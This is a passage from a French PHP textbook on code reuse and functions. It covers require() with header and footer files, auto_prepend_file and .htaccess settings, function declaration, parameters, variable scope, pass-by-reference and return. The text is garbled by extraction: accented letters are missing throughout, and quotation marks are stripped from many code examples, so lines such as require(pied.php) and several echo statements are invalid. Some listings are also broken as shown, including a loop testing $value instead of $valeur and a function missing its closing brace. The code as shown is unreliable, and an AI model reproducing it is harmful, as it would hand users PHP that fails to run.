</html>

Le Listing 5.1 se compose de plusieurs sections de code bien distinctes. Len-tte


HTML contient les dfinitions CSS (Cascading Style Sheet) utilises dans la page. La
section intitule "Entte de page" affiche le nom et le logo de lentreprise, la section
"Menu" cre la barre de navigation de la page, tandis que la section "Contenu de la
page" rassemble le texte spcifique cette page. Vient ensuite le pied de page. Nous
allons scinder ce fichier en trois parties que nous enregistrerons respectivement dans les
fichiers entete.php, accueil.php et pied.php. Les fichiers entete.php et pied.php
contiendront alors le code que nous rutiliserons pour produire dautres pages.
Le fichier accueil.php remplace le fichier accueil.html ; il renferme le contenu textuel
spcifique de la page ainsi que deux instructions require(). Le contenu de ce fichier
est prsent dans le Listing 5.2.
Listing 5.2 : accueil.php Le code PHP de la page daccueil du site web de TLA Consulting
<?php
require("entete.php");
?>
<!-- Contenu de la page -->
<p>Bienvenue sur le site de TLA Consulting.
Prenez le temps de nous connatre.</p>
<p>Nous sommes spcialiss dans laide aux dcisions et
nous esprons que vous ferez bientt appel nous.</p>
<?php
require(pied.php);
?>

Les instructions require() du Listing 5.2 provoquent le chargement des fichiers


entete.php et pied.php.
Comme nous lavons dj mentionn, les noms attribus ces fichiers nont pas dincidence sur la manire dont les fichiers seront traits lorsque le chargement seffectue
via une instruction require(). Lextension .inc (pour "inclure", ou include) est trs

152

Partie I

Utilisation de PHP

souvent adopte pour ces types de fichiers, qui sont appels tre inclus dans dautres
fichiers. Nous ne recommandons pas cette convention comme une stratgie gnrale car
les fichiers .inc ne seront pas interprts comme du code PHP, sauf si le serveur a t
spcifiquement configur pour cela.
Par ailleurs, lusage consiste gnralement rassembler les fichiers inclus dans un
rpertoire visible des scripts, mais qui ne permette pas leur chargement individuel via le
serveur web, cest--dire lextrieur de larborescence des documents du serveur.
Cette pratique est fortement recommande. En effet, le chargement individuel de ces
fichiers peut provoquer des erreurs si lextension des fichiers est .php et que les fichiers
ne contiennent que des pages ou des scripts partiels, ou il peut permettre des tiers de
lire le code source lorsquune extension autre que .php est employe.
Le fichier entete.php contient les dfinitions CSS utilises par la page ainsi que les
tableaux qui affichent le nom de lentreprise et les barres de navigation. Son contenu est
donn dans le Listing 5.3.
Listing 5.3 : entete.php Len-tte rutilisable par toutes les pages du site web de TLA
Consulting
<html>
<head>
<title>TLA Consulting</title>
<style type="text/css">
h1 {color:white; font-size:24pt; text-align:center;
font-family:arial,sans-serif}
.menu {color:white; font-size:12pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold}
td {background:black}
p {color:black; font-size:12pt; text-align:justify;
font-family:arial,sans-serif}
p.foot {color:white; font-size:9pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold}
a:link,a:visited,a:active {color:white}
</style>
</head>
<body>
<!-- Entte de page -->
<table width="100%" cellpadding="12" cellspacing="0" border="0">
<tr bgcolor="black">
<td align="left"><img src="logo.gif" alt="Logo TLA" height="70"
width="70"></td>
<td>
<h1>TLA Consulting</h1>
</td>
<td align="right"><img src="logo.gif" alt="Logo TLA" height="70"
width="70"></td>
</tr>
</table>
<!-- Menu -->

Chapitre 5

Rutilisation de code et criture de fonctions

153

<table width="100%" bgcolor="white" cellpadding="4" cellspacing="4">


<tr >
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Accueil</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Contacts</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Services</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Carte du site</span></td>
</tr>
</table>

Le fichier pied.php contient le tableau utilis pour afficher le pied de page en bas de
chaque page. Il est prsent dans le Listing 5.4.
Listing 5.4 : pied.php Le pied de page rutilisable par toutes les pages du site web
de TLA Consulting
<!-- Pied de page -->
<table width="100%" bgcolor="black" cellpadding="12" border="0">
<tr>
<td>
<p class="foot">&copy; TLA Consulting</p>
<p class="foot">Consultez la page sur nos
<a href="legal.php">informations lgales</a></p>
</td>
</tr>
</table>
</body>
</html>

Une telle approche permet dobtenir facilement une prsentation et une apparence
homognes sur tout un site. Une nouvelle page conue dans le mme style peut ainsi
tre aisment gnre en quelques lignes de code :
<?php require(entete.php);?>
Mettre ici le contenu de cette page
<?php require(pied.php);?>

Plus important encore, mme lorsque de nombreuses pages ont ainsi t produites
partir des mmes fichiers den-tte et de pied de page, vous pouvez facilement modifier
ces fichiers modles. Que la modification apporte soit mineure ou quelle vise
donner une apparence compltement nouvelle au site, elle ne devra tre apporte
quune seule fois. Cette technique vite davoir traiter chaque page sparment.

154

Partie I

Utilisation de PHP

Dans lexemple considr ici, le corps, len-tte et le pied de page de chaque page ne
contiennent que du HTML pur. Des instructions PHP pourraient toutefois tre utilises
pour produire dynamiquement certaines parties des pages web du site.
Si vous souhaitez tre sr quun fichier sera trait comme du texte brut ou du HTML et
quaucun code PHP ne sera excut, vous pouvez utiliser readfile() la place de
require() car cette fonction affiche le contenu dun fichier sans lanalyser. Il peut
sagir dune mesure de prcaution importante si vous utilisez du texte fourni par lutilisateur.
Utilisation des options de configuration auto_prepend_file et
auto_append_file
Il existe une autre manire dutiliser linstruction require() ou include() pour ajouter
un en-tte et un pied de page chaque page. Le fichier de configuration php.ini contient
deux options de configuration, auto prepend file et auto append file, qui peuvent
tre initialises avec, respectivement, le nom de notre fichier den-tte et celui du pied
de page, de sorte que ces fichiers seront systmatiquement chargs au dbut et la fin
de chaque page. Les fichiers inclus par ces directives se comportent comme sils avaient
t ajouts en utilisant une instruction include() ; autrement dit, si le fichier est
manquant, cela produira un message davertissement.
Sur un systme Windows, le paramtrage de ces options seffectuerait de la manire
suivante :
auto_prepend_file = "c:/Program Files/Apache Group/Apache2//include/entete.php"
auto_append_file = "c:/Program Files/Apache Group/Apache2/include/pied.php"

Sur une plate-forme Unix, ces options se paramtrent de la faon suivante :


auto_prepend_file = /home/utilisateur/include/entete.php
auto_append_file = /home/utilisateur/include/pied.php

Lorsque ces directives sont indiques dans le fichier php.ini, il nest plus ncessaire de
faire appel aux instructions include(). En revanche, les en-ttes et les pieds de page ne
sont plus facultatifs dans les pages web.
Avec un serveur web Apache, vous pouvez dfinir des options de configuration comme
celles dcrites prcdemment pour chaque rpertoire individuel. Pour cela, vous devez
configurer votre serveur de sorte que ses principaux fichiers de configuration soient
"crasables". Pour configurer PHP afin quil charge automatiquement des fichiers au
dbut et la fin de chaque page pour un rpertoire spcifique, crez dans ce rpertoire
un fichier appel .htaccess et placez-y les deux lignes suivantes :
php_value auto_prepend_file /home/utilisateur/include/entete.php
php_value auto_append_file /home/utilisateur/include/pied.php

Chapitre 5

Rutilisation de code et criture de fonctions

155

Notez que la syntaxe diffre lgrement de celle utilise plus haut pour la mme option
dans le fichier php.ini ; outre la prsence de php value au dbut de la ligne, il ny a plus
de signe gal. Plusieurs autres paramtres de configuration de php.ini peuvent tre
modifis de la sorte.
La dfinition doptions dans le fichier .htaccess et non dans le fichier php.ini ou dans le
fichier de configuration du serveur web procure une grande souplesse. Vous pouvez
ainsi modifier le paramtrage sur une machine partage en naffectant que vos seuls
rpertoires. Il nest pas ncessaire de redmarrer le serveur web ni de bnficier dun
accs dadministrateur systme. Lapproche .htaccess a toutefois linconvnient que les
fichiers sont lus et analyss chaque fois quun fichier est sollicit dans le rpertoire
concern, au lieu dtre lus et analyss une seule fois au dmarrage. Elle a donc un cot
en terme de performances.

Utilisation de fonctions en PHP


Les fonctions existent dans la plupart des langages de programmation. Elles servent
sparer le code qui accomplit une tche unique et bien dfinie. Les fonctions rendent le
code plus lisible et permettent de le rutiliser chaque fois quune mme tche doit tre
accomplie.
Une fonction est un module de code autonome associ une interface dappel. Elle
accomplit un certain traitement et renvoie ventuellement un rsultat.
Nous avons dj tudi plusieurs fonctions. Dans les chapitres prcdents, nous avons
rgulirement appel des fonctions prdfinies de PHP. Par ailleurs, nous avons nousmmes crit quelques fonctions simples, sans toutefois entrer dans les dtails. Dans les
sections suivantes, nous allons nous pencher plus attentivement sur lappel et lcriture
de fonctions.
Appel de fonctions
Lappel de fonction le plus simple qui soit est le suivant :
nom_fonction();

Cette ligne de code appelle la fonction nom fonction, qui ne prend pas de paramtre.
Elle ignore toute valeur ventuellement renvoye par la fonction.
Un certain nombre de fonctions sont appeles exactement de cette manire. Par exemple, cest le cas de la fonction phpinfo(), qui est trs utile lors des tests puisquelle affiche la version installe de PHP, les informations relatives PHP, la configuration du
serveur web et les valeurs des diverses variables de PHP et du serveur. Cette fonction ne
prend aucun paramtre et la valeur quelle renvoie est le plus souvent ignore.

156

Partie I

Utilisation de PHP

Lappel de la fonction phpinfo() scrit donc de la manire suivante :


phpinfo();

La plupart des fonctions requirent cependant un ou plusieurs paramtres qui fournissent les informations ncessaires laccomplissement de la tche et qui influencent le
rsultat de lexcution de la fonction. Les paramtres sont passs une fonction sous la
forme de donnes ou de noms de variables contenant ces donnes. Ils sont placs dans
une liste entre parenthses, la suite du nom de la fonction. Lappel dune fonction
prenant un seul paramtre seffectue donc de la faon suivante :
nom_fonction(paramtre);

Ici, le paramtre est une chane contenant seulement le mot paramtre. Les appels de
fonction qui suivent sont galement valides, selon la fonction appele :
nom_fonction (2);
nom_fonction (7.993);
nom_fonction ($variable);

Dans la dernire de ces trois lignes de code, $variable peut tre une variable PHP de
tout type, y compris un tableau ou un objet.
Les paramtres peuvent tre de nimporte quel type, mais certaines fonctions exigent
gnralement des types de donnes spcifiques.
Le prototype dune fonction dcrit le nombre de paramtres requis ainsi que la signification et le type de chacun deux. Cet ouvrage donne gnralement le prototype de
chaque fonction dcrite.
Le prototype de la fonction fopen(), par exemple, est le suivant :
resource fopen( string nomFichier, string mode,
[, bool utiliser_include_path [, resource contexte]] )

Le prototype dune fonction fournit de prcieuses indications sur la fonction, quil est
important de savoir interprter. Dans le prototype de la fonction fopen(), le terme
resource plac avant le nom de la fonction indique quelle renvoie une ressource
(un descripteur de fichier ouvert). Les paramtres de la fonction sont indiqus entre
parenthses. Comme le montre ce prototype, fopen() attend donc quatre paramtres. Les paramtres nomFichier et mode sont des chanes, tandis que le paramtre
utiliser include path est un boolen et que le paramtre contexte est une
ressource. La prsence de crochets de part et dautre des paramtres
utiliser include path et contexte indique que ces paramtres sont facultatifs : vous
pouvez leur fournir une valeur ou les ignorer, auquel cas PHP utilisera une valeur par
dfaut. Notez toutefois que, lorsquune fonction a plusieurs paramtres facultatifs, vous
ne pouvez ignorer que les paramtres placs droite. Lorsque vous appelez fopen(),
par exemple, vous pouvez ignorer simplement contexte ou utiliser include path et

Chapitre 5

Rutilisation de code et criture de fonctions

157

contexte, mais vous ne pouvez pas ignorer utiliser include path tout en fournissant
contexte.

Daprs le prototype de fopen(), nous pouvons affirmer que lappel de cette fonction
est correct dans le fragment de code qui suit :
$nom = monfichier.txt;
$mode_ouverture = r;
$fp = fopen($nom, $mode_ouverture);

Ce code appelle la fonction fopen(). La valeur renvoye par cette dernire sera stocke
dans la variable $fp. On passe la variable $name comme premier paramtre de fopen().
Celle-ci contient une chane reprsentant le nom du fichier ouvrir. Le deuxime paramtre pass est une variable appele $mode ouverture, qui contient une chane reprsentant le mode douverture du fichier. Dans cet exemple, nous navons pas fourni les
troisime et quatrime paramtres facultatifs.
Appel dune fonction indfinie
Lappel dune fonction qui nexiste pas provoque la production dun message derreur
comme celui de la Figure 5.3.
Figure 5.3
Ce message derreur
rsulte de lappel
dune fonction qui
nexiste pas.

Les messages derreur affichs par linterprteur PHP sont gnralement trs utiles.
Celui de la Figure 5.3 nous indique exactement le contexte dans lequel sest produite
lerreur, cest--dire le nom du fichier, le numro de la ligne du script et le nom de la
fonction qui a t appele et qui nexiste pas. Ces indications permettent en principe de
corriger facilement et rapidement lerreur survenue.
laffichage dun tel message derreur, vous devez vous poser deux questions :
1. Le nom de la fonction est-il correctement orthographi dans le script ?
2. La fonction appele existe-t-elle dans la version de PHP utilise ?
Les noms des fonctions sont parfois difficiles mmoriser. Par exemple, certaines fonctions prdfinies de PHP ont des noms composs de deux mots spars par un caractre
de soulignement (comme strip tags()), tandis que dautres ont des noms forms de
deux mots accols (comme stripslashes()). La prsence dune faute dorthographe
dans le nom dune fonction provoque lerreur montre la Figure 5.3.

158

Partie I

Utilisation de PHP

Certaines fonctions dcrites dans cet ouvrage nexistent pas dans la version 4.0 de
PHP car nous partons du principe que vous tes au moins quip de la version 5.0.
Chaque nouvelle version de PHP apporte son lot de nouveauts qui enrichissent les
fonctionnalits et les performances du langage et justifient donc une mise jour.
Vous pouvez consulter dans le manuel en ligne de PHP (http://no.php.net/manual/
fr/) la date dajout de chaque fonction disponible. Lappel dune fonction non dclare dans la version de PHP utilise provoque lerreur dont le message est montr la
Figure 5.3.
Lune des autres raisons qui peuvent conduire ce message derreur peut tre que la
fonction que vous appelez fait partie dune extension de PHP qui nest pas charge. Par
exemple, si vous essayez dutiliser des fonctions de la bibliothque gd (manipulation
dimages) alors que vous ne lavez pas installe, vous obtiendrez ce message.
Casse et noms des fonctions
Les appels de fonctions ne sont pas sensibles la casse. Les appels de fonction nom(),
Fonction Nom() et FONCTION NOM sont donc tous valides et conduisent au mme rsultat. Vous tes libre de choisir la casse qui vous convient et que vous jugez plus facile
lire mais essayez de rester cohrent. Dans cet ouvrage, comme dans la plupart des
ouvrages de programmation, la convention adopte consiste crire tous les noms de
fonctions en minuscules.
Les noms de fonctions se comportent diffremment des noms de variables puisque ces
derniers sont, eux, sensibles la casse: $Nom et $nom dsignent donc deux variables
diffrentes, alors que Nom() et nom() dsignent la mme fonction.

Dfinir ses propres fonctions ?


Au cours des chapitres prcdents, nous avons t amens tudier et utiliser
un certain nombre de fonctions prdfinies de PHP. Toutefois, la relle puissance dun
langage de programmation tient dans la possibilit de crer des fonctions personnalises.
Grce aux fonctions prdfinies dans PHP, vous pouvez interagir avec des fichiers,
manipuler une base de donnes, crer des images et vous connecter dautres serveurs.
Malgr toute la richesse de ces possibilits, vous devrez souvent raliser des traitements
que les crateurs du langage nont pas prvus.
Vous ntes heureusement pas limit aux fonctions prdfinies de PHP : vous pouvez
crer des fonctions personnalises qui accompliront les traitements que vous souhaitez.
Votre code consistera certainement en une combinaison de fonctions existantes et de
logique personnelle ; lensemble tant destin raliser des tches particulires.

Chapitre 5

Rutilisation de code et criture de fonctions

159

Lorsque vous crivez un bloc de code pour effectuer une tche que vous serez vraisemblablement amen rutiliser plusieurs autres endroits dans votre script, voire dans
dautres scripts, vous avez tout intrt dclarer ce bloc de code comme une fonction.
Dclarer une fonction permet dutiliser du code personnalis la manire des fonctions
prdfinies de PHP : il suffit dappeler la fonction utilisateur et de lui fournir les paramtres requis. Vous pouvez ainsi appeler et rutiliser la mme fonction plusieurs fois
dans un mme script.

Structure de base dune fonction


Une dclaration de fonction cre, ou dclare, une nouvelle fonction. Une dclaration
commence par le mot-cl function, suivi du nom de la fonction, de ses paramtres et
du code excuter chaque appel de la fonction.
La dclaration dune fonction triviale seffectue de la manire suivante :
function ma_fonction(){
echo ma_fonction a t appele.;
}

Cette dclaration de fonction commence par function pour que le lecteur et linterprteur PHP sachent que le code qui suit est celui dune fonction personnalise. Le nom de
la fonction tant ma fonction, nous pouvons appeler notre nouvelle fonction au moyen
de linstruction suivante :
ma_fonction();

Vous lavez probablement devin, lappel de cette fonction se traduit par laffichage
dans la fentre du navigateur du texte "ma fonction a t appele.".
Alors que les fonctions prdfinies dans PHP sont utilisables dans tous les scripts PHP,
les fonctions personnalises ne le sont que par les scripts dans lesquels elles ont t
dclares. Il est conseill de placer dans un mme fichier, ou dans un ensemble de
fichiers, toutes les fonctions personnalises couramment utilises. Cette astuce permet
en effet au programmeur daccder toutes ses fonctions par une simple instruction
require() insre dans chacun des scripts.
Dans une dclaration de fonction, le code accomplissant la tche requise doit tre plac
entre accolades. Ce code peut contenir tout ce qui est autoris dans un script PHP, y
compris des appels dautres fonctions, des dclarations de nouvelles variables ou fonctions, des instructions require() ou include(), des dclarations de classe et du code
HTML. Lorsque, au sein dune fonction, il est ncessaire de quitter PHP et dafficher
du code HTML brut, il suffit de procder comme en tout autre endroit dun script : en
plaant une balise PHP de fermeture avant le code HTML.

160

Partie I

Utilisation de PHP

Le code qui suit est une variante possible de lexemple prcdent et il produit le mme
rsultat :
<?php
function ma_fonction() {
?>
ma_fonction a t appele.
<?php
}
?>

Vous remarquerez que le code PHP est encadr par des balises PHP douverture/fermeture. Dans la plupart des fragments de code donns en exemple dans cet ouvrage, ces
balises ne sont pas montres. Nous les avons montres dans cet exemple car elles y sont
indispensables.
Attribution dun nom une fonction
Votre souci principal, lors du choix dun nom pour une fonction personnalise, devrait
tre dadopter un nom court mais explicite. Par exemple, pour une fonction crant un
en-tte de page web, les noms entete page() ou entetePage() seraient appropris.
Les quelques restrictions prendre en compte lors du choix des noms de fonctions sont
les suivantes :
m

Ne donnez pas une fonction un nom dj attribu une autre fonction.

Un nom de fonction ne peut contenir que des lettres, des chiffres et des blancs souligns.

Un nom de fonction ne doit pas commencer par un chiffre.

De nombreux langages de programmation autorisent la rutilisation des noms de fonctions. On parle alors de "surcharge de fonction" (overloading). PHP interdit la
surcharge des fonctions, cest--dire quil ne permet pas de donner une fonction
personnalise le mme nom quune fonction prdfinie ou quune autre fonction
personnalise. Notez galement que, si chaque script PHP "connat" toutes les fonctions PHP prdfinies, les fonctions personnalises ne sont connues que dans les scripts
o elles sont dclares. Par consquent, rien ne vous empche de rutiliser le nom dune
de vos fonctions personnalises pour lattribuer une autre fonction contenue dans un
autre fichier. Cette pratique est toutefois source de confusion et devrait tre vite.
Les diffrents noms qui suivent sont tous corrects :
nom()
nom2()
nom_trois()
_nomquatre()

Chapitre 5

Rutilisation de code et criture de fonctions

161

tandis que ceux-ci sont incorrects :


5nom()
nom-six()
fopen()

(Le dernier de ces noms aurait t autoris sil ntait pas dj attribu une fonction
prdfinie.)
Bien que $nom ne soit pas un nom correct pour une fonction, un appel de fonction comme :
$nom();

peut sexcuter correctement, selon la valeur de $nom. En effet, PHP prend la valeur
stocke dans $nom, recherche une fonction portant ce nom et essaie de lappeler pour
vous. Ces fonctions sont appeles des fonctions variables. Elles peuvent tre utiles
loccasion.

Paramtres
Pour accomplir la tche pour laquelle elles ont t conues, la plupart des fonctions
requirent que un ou plusieurs paramtres leur soient fournis. Un paramtre permet de
passer des donnes une fonction. Voici lexemple dune fonction qui prend un tableau
unidimensionnel comme paramtre et laffiche sous la forme dune table :
function crer_table($donnees) {
echo <table border ="1">;
reset($donnees); // Revient pointer sur le dbut des donnes
$valeur = current($donnees);
while ($value) {
echo "<tr><td>" . $valeur . "</td></tr>\n";
$valeur = next($donnees);
}
echo "</table>";
}

Si la fonction creer table() est appele de la manire suivante :


$mon_tableau = array(Ligne un.,Ligne deux.,Ligne trois.);
creer_table($mon_tableau);

le rsultat obtenu sera celui de la Figure 5.4.


Figure 5.4
Lappel de la fonction
creer_table() produit
laffichage de ce
tableau HTML.

162

Partie I

Utilisation de PHP

En passant un paramtre creer table(), nous avons pu manipuler au sein de cette


dernire des donnes cres en dehors de la fonction sous le nom $donnees.
Tout comme les fonctions prdfinies, les fonctions dfinies par lutilisateur peuvent
prendre plusieurs paramtres et peuvent galement prendre des paramtres facultatifs.
La fonction creer table() peut tre amliore de diverses manires, par exemple en
permettant celui qui lappelle de prciser la bordure ou dautres attributs du tableau.
Voici une version amliore de cette fonction, qui est trs semblable la prcdente, si
ce nest quelle permet de dfinir (de manire facultative) la largeur de la bordure,
lespacement entre les cellules et celui entre le contenu des cellules et la bordure :
function creer_table2( $donnees, $contour =1, $remplissage = 4,
$espacement = 4 ) {
echo "<table border = $contour cellpadding = $remplissage"
." cellspacing = $espacement>";
reset($donnees);
$valeur = current($donnees);
while ($valeur) {
echo "<tr><td>" . $valeur . "</td></tr>\n";
$valeur = next($donnees);
}
echo </table>;
}

Le premier paramtre de la fonction creer table2() est obligatoire, comme dans


creer table(). Les trois paramtres suivants sont facultatifs, parce que des valeurs par
dfaut sont indiques pour ces paramtres dans la dclaration de la fonction. Cet appel de la
fonction creer table2() produit donc un rsultat trs comparable celui de la Figure 5.4 :
creer_table2($mon_tableau);

Pour une prsentation plus are des donnes du tableau, nous pouvons appeler
creer table2() de la manire suivante :
creer_table2($mon_tableau, 3, 8, 8);

Lorsque des paramtres sont facultatifs, il nest pas indispensable de leur fournir des
valeurs. Linterprteur PHP assigne les paramtres de la gauche vers la droite.
Noubliez pas quil nest pas possible domettre un paramtre facultatif lors de lappel
dune fonction et de passer un autre paramtre facultatif plac sa droite dans la dfinition de la fonction. Dans lexemple prcdent, il faut passer une valeur pour le
paramtre remplissage pour pouvoir passer une valeur pour le paramtre espace
ment. Le non-respect de cette rgle est lorigine de nombreuses erreurs de programmation. Par ailleurs, cette rgle est la raison pour laquelle les paramtres facultatifs
doivent toujours apparatre en dernier dans la liste des paramtres.
Lappel de fonction suivant :
creer_table2($mon_tableau, 3);

Chapitre 5

Rutilisation de code et criture de fonctions

163

est tout fait correct et cre une bordure large de 3 pixels ; les espacements entre les
cellules et lintrieur de celles-ci sont dfinis par leurs valeurs par dfaut.
Vous pouvez galement dclarer des fonctions qui acceptent un nombre variable de
paramtres. Le nombre de paramtres passs et leurs valeurs peuvent tre retrouvs
laide de trois fonctions auxiliaires : func num args(), func get arg() et
func get args().
tudiez par exemple la fonction suivante :
function params_variables() {
echo "Nombre de paramtres: ";
echo func_num_args();
echo "<br />";
$params = func_get_args();
foreach ($params as $param) {
echo $param . "<br />";
}

Cette fonction indique le nombre de paramtres qui lui sont passs et affiche chacun
deux. La fonction func num args() renvoie le nombre darguments passs et
func get args() renvoie un tableau des paramtres. Vous pouvez galement accder
un paramtre particulier en utilisant la fonction func get arg(), laquelle il faut
passer le numro du paramtre souhait (les paramtres sont numrots en commenant
zro).

Porte
Vous avez peut-tre not que, lorsque nous avons besoin dutiliser des variables dans un
fichier charg via une instruction require() ou include(), nous les dclarons simplement dans le script avant linstruction require() ou include(). En revanche, avec une
fonction, les variables requises au sein de la fonction doivent tre explicitement passes
la fonction sous forme de paramtres. Cette diffrence sexplique en partie par le fait
quil nexiste pas de mcanisme permettant de passer explicitement des variables des
fichiers inclus, et en partie parce que la porte dune variable est diffrente pour les
fonctions.
La porte dune variable dfinit les parties du code o cette variable est visible et utilisable. Chaque langage de programmation a ses propres rgles en la matire et celles de
PHP sont relativement simples :
m

La porte dune variable dclare au sein dune fonction stend de linstruction


partir de laquelle elle est dclare jusqu laccolade de fermeture de la fonction. La
porte est alors dite "limite la fonction" et les variables portent le nom de variables
locales.

164

Partie I

Utilisation de PHP

La porte dune variable dclare en dehors dune fonction stend de linstruction


dans laquelle elle est dclare jusqu la fin du fichier, exception faite des fonctions.
La porte est alors globale et les variables elles-mmes sont qualifies de variables
globales.
Les variables superglobales sont visibles aussi bien lintrieur qu lextrieur des
fonctions (reportez-vous au Chapitre 1 pour plus dinformations sur ces variables).
Lutilisation des instructions require() et include() naffecte pas la porte des
variables. Sil est fait appel lune de ces instructions lintrieur dune fonction, la
porte est limite la fonction. Si cet appel est ralis lextrieur dune fonction,
la porte est globale.
Le mot-cl global peut tre employ pour indiquer explicitement quune variable
dfinie ou utilise au sein dune fonction a une porte globale.
Une variable peut tre supprime explicitement via un appel unset
($nom variable). Lorsquune variable a t traite par la fonction unset(), elle
nexiste plus dans la porte.

Les quelques exemples qui suivent vous aideront mieux saisir les implications de ces
rgles.
Lexcution du code ci-aprs ne produit aucun rsultat. Ici, on dclare une variable
appele $var sans une fonction appele fn(). Cette variable tant dclare dans une
fonction, sa porte est limite la fonction et elle nexiste donc quentre le point o elle
a t dclare et la fin de la fonction. Lorsque $var est utilise en dehors de la fonction
fn(), PHP cre une nouvelle variable appele $var. Cette nouvelle variable est de
porte globale et reste visible jusqu la fin du fichier. $var tant uniquement utilise
dans une instruction echo, elle ne recevra jamais de valeur.
function fn() {
$var = "contenu";
}
fn();
echo $var;

Voici la situation inverse, o une variable est dclare en dehors de la fonction fn() et
o nous tentons de lutiliser lintrieur de celle-ci.
function fn() {
echo Dans la fonction, $var = . $var . <br />;
$var = "contenu 2";
echo Dans la fonction, $var = . $var . <br />;
}
$var = "contenu 1";
fn();
echo En dehors de la fonction, $var = . $var . <br />;

Chapitre 5

Rutilisation de code et criture de fonctions

165

Lexcution de ce fragment de code conduit au rsultat suivant :


Dans la fonction, $var =
Dans la fonction, $var = contenu 2
En dehors de la fonction, $var = contenu 1

Les fonctions ntant excutes que lorsquelles sont appeles, la premire instruction
excute dans ce code est $var = "contenu 1";. Une variable appele $var est alors
cre, dont la porte est globale et qui contient la chane "contenu 1". PHP excute
ensuite lappel la fonction fn() en excutant dans lordre les lignes qui constituent la
dclaration de la fonction. La premire de ces lignes fait rfrence une variable appele $var. Au moment de lexcution de cette ligne, linterprteur PHP ne peut pas voir
la variable $var dj cre et cre une nouvelle variable dont la porte se limite la
fonction fn(). Cest laffichage du contenu de cette nouvelle variable au moyen de
linstruction echo qui produit la premire ligne de la sortie.
La ligne qui vient ensuite dans la dclaration de la fonction donne $var le contenu
"contenu 2". Cette ligne de code appartenant la fonction, elle modifie la valeur de la
variable $var locale, pas celle de la variable globale. La deuxime ligne de la sortie met
en vidence ce fonctionnement.
Lorsque lexcution de la fonction sachve, la dernire ligne de notre script est excute.
Cette instruction echo finale montre que la valeur de la variable globale $var na pas t
affecte par lexcution de la fonction fn().
Pour quune variable cre au sein dune fonction soit de porte globale, nous devons
utiliser le mot-cl global, comme ici :
function fn() {
global $var;
$var = "contenu";
echo Dans la fonction, $var = . $var . <br />;
}
fn();
echo En dehors de la fonction, $var = . $var. <br />;

Dans cet exemple, la variable $var est explicitement dfinie comme globale. Aprs
lappel de la fonction fn(), la variable continue donc dexister en dehors de la fonction.
Lexcution de ce fragment de code produit laffichage suivant :
Dans la fonction, $var = contenu
En dehors de la fonction, $var = contenu

Notez que la porte de la variable commence au point o la ligne global $var; est
excute. Nous aurions aussi bien pu placer la dclaration de la fonction aprs quavant
la ligne contenant lappel de la fonction. Une dclaration de fonction peut tre indiffremment place en nimporte quel point dun script. En revanche, la position de lappel

166

Partie I

Utilisation de PHP

de la fonction est importante, puisquelle dfinit lendroit du script o est excute la


fonction.
Le mot-cl global peut galement tre utilis en dbut de script, la premire utilisation dune variable, afin dindiquer PHP que la variable doit tre de porte globale.
Cet usage du mot-cl global est probablement le plus courant.
Les exemples prcdents montrent bien quil est parfaitement possible dutiliser le
mme nom pour des variables dclares en dehors et lintrieur dune fonction, sans
quil y ait dinterfrence. Cette pratique est toutefois dconseille car elle est source de
confusion.

Passer des paramtres par rfrence et par valeur


Pour crire une fonction appele incrementer() qui nous permette dincrmenter une
valeur, nous pourrions tre tents dcrire le code suivant :
function incrementer($valeur, $montant = 1) {
$valeur = $valeur +$montant;
}

Ce code ne produit pourtant pas le rsultat escompt : lexcution des lignes suivantes
affichera "10" :
$valeur = 10;
incrementer($valeur);
echo $valeur;

cause des rgles de porte, le contenu de la variable $valeur na pas t modifi. En


effet, ce code cre une variable appele $valeur qui contient la valeur 10, puis appelle
la fonction incrementer(). La variable $valeur utilise dans la fonction incremen
ter() est cre au moment de lappel de la fonction. Linterprteur PHP ajoute 1 cette
variable, qui prend par consquent la valeur 11 dans la fonction et jusqu la fin de
celle-ci. Linterprteur revient ensuite au code qui a appel incrementer(). Dans ce
code, $valeur est une variable diffrente, de porte globale, dont le contenu na donc
pas chang.
Nous pourrions rsoudre ce problme en dclarant $valeur dans la fonction en tant que
variable globale. Mais, pour utiliser la fonction incrementer(), nous serions alors dans
lobligation de donner le nom $valeur la variable incrmenter.
Les paramtres dune fonction sont normalement passs la fonction par valeur.
Lorsquun paramtre est pass une fonction, PHP cre une nouvelle variable contenant la valeur transmise. Il sagit donc dune copie de la variable originale. Cette valeur
copie peut ainsi tre modifie loisir, sans que la valeur de la variable dorigine nen
soit affecte (notre explication simplifie lgrement le mcanisme interne vritablement
mis en uvre).

Chapitre 5

Rutilisation de code et criture de fonctions

167

Ici, la meilleure approche consiste utiliser le passage de paramtre par rfrence.


Dans ce cas, au lieu de crer une nouvelle variable pour le paramtre pass la fonction, linterprteur passe une rfrence sur la variable dorigine. Cette rfrence est
associe un nom de variable qui commence par un signe dollar et elle peut tre utilise
comme nimporte quelle variable. Cependant, au lieu de possder sa propre valeur, une
rfrence pointe sur la valeur dorigine. Toute modification apporte la rfrence sera
donc rpercute sur la variable originale.
Pour indiquer quun paramtre est pass par rfrence, il suffit de le faire prcder
dune esperluette (&) dans la dfinition de la fonction. Lappel de la fonction, en revanche,
ne ncessite aucune modification.
Dans lexemple prcdent, nous pouvons modifier la fonction incrementer() pour
aboutir au rsultat recherch, en passant la fonction le premier paramtre par rfrence.
function incrementer(&$valeur, $montant = 1) {
$valeur = $valeur +$montant;
}

Ainsi formule, notre fonction effectue le traitement attendu et nous avons toute libert
pour le choix du nom de la variable incrmenter. Comme nous lavons dj
mentionn, lutilisation dun mme nom de variable lintrieur et lextrieur dune
fonction est source de confusion, si bien que nous attribuerons un nouveau nom la
variable utilise dans le script principal. Le code de test qui suit conduit laffichage du
nombre 10 dans la fentre du navigateur avant lappel de la fonction incrementer() et
du nombre 11 aprs lappel de la fonction.
$a = 10;
echo $a . <br />;
incrementer($a);
echo $a . <br />;

Utilisation du mot-cl return


Le mot-cl return interrompt lexcution dune fonction. Lorsque lexcution dune
fonction prend fin, soit parce que toutes ses instructions ont t excutes, soit parce
que le mot-cl return a t atteint, lexcution se poursuit par linstruction qui suit
lappel de la fonction.
lappel de la fonction suivante, seule la premire instruction echo est excute :
function test_return() {
echo Cette instruction sera excute.;
return;
echo Cette instruction ne sera jamais excute.;
}

168

Partie I

Utilisation de PHP

